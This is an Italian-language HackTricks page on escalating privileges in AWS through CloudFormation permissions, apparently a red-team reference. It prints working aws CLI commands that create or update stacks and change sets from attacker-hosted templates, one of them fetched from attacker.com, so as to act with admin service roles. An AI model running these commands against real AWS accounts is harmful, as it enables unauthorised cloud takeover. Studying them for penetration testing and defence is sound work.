AWS - Cloudformation Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

cloudformation

Per ulteriori informazioni su cloudformation, controlla:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un attaccante con queste autorizzazioni può ottenere privilegi di escalation creando uno stack di CloudFormation con un modello personalizzato, ospitato sul proprio server, per eseguire azioni con i permessi di un ruolo specificato:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Nella seguente pagina hai un esempio di sfruttamento con il permesso aggiuntivo cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impatto potenziale: Privesc al ruolo di servizio di cloudformation specificato.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In questo caso puoi abusare di uno stack di cloudformation esistente per aggiornarlo ed elevare i privilegi come nello scenario precedente:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permissione cloudformation:SetStackPolicy può essere utilizzata per darti la permissione UpdateStack su uno stack e eseguire l'attacco.

Impatto potenziale: Privesc al ruolo di servizio di cloudformation specificato.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se hai questa permissione ma nessuna iam:PassRole, puoi comunque aggiornare gli stack utilizzati e abusare dei ruoli IAM a cui sono già collegati. Controlla la sezione precedente per un esempio di exploit (solo non indicare alcun ruolo nell'aggiornamento).

La permissione cloudformation:SetStackPolicy può essere utilizzata per darti la permissione UpdateStack su uno stack e eseguire l'attacco.

Impatto potenziale: Privesc al ruolo di servizio di cloudformation già collegato.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaccante con le permissioni per passare un ruolo e creare ed eseguire un ChangeSet può creare/aggiornare uno stack di cloudformation e abusare dei ruoli di servizio di cloudformation proprio come con CreateStack o UpdateStack.

L'exploit seguente è una variazione di quello CreateStack utilizzando le permissioni ChangeSet per creare uno stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Il permesso cloudformation:SetStackPolicy può essere utilizzato per conferire a te stesso i permessi ChangeSet su uno stack e eseguire l'attacco.

Impatto potenziale: Privesc ai ruoli di servizio di CloudFormation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Questo è simile al metodo precedente senza passare ruoli IAM, quindi puoi semplicemente abusare di quelli già collegati, basta modificare il parametro:

--change-set-type UPDATE

Potenziale impatto: Privesc al ruolo del servizio CloudFormation già collegato.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaccante potrebbe sfruttare queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli di cloudformation arbitrari.

Potenziale impatto: Privesc ai ruoli del servizio CloudFormation.

cloudformation:UpdateStackSet

Un attaccante potrebbe sfruttare questa autorizzazione senza l'autorizzazione passRole per aggiornare StackSets per abusare dei ruoli di cloudformation collegati.

Potenziale impatto: Privesc ai ruoli di cloudformation collegati.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated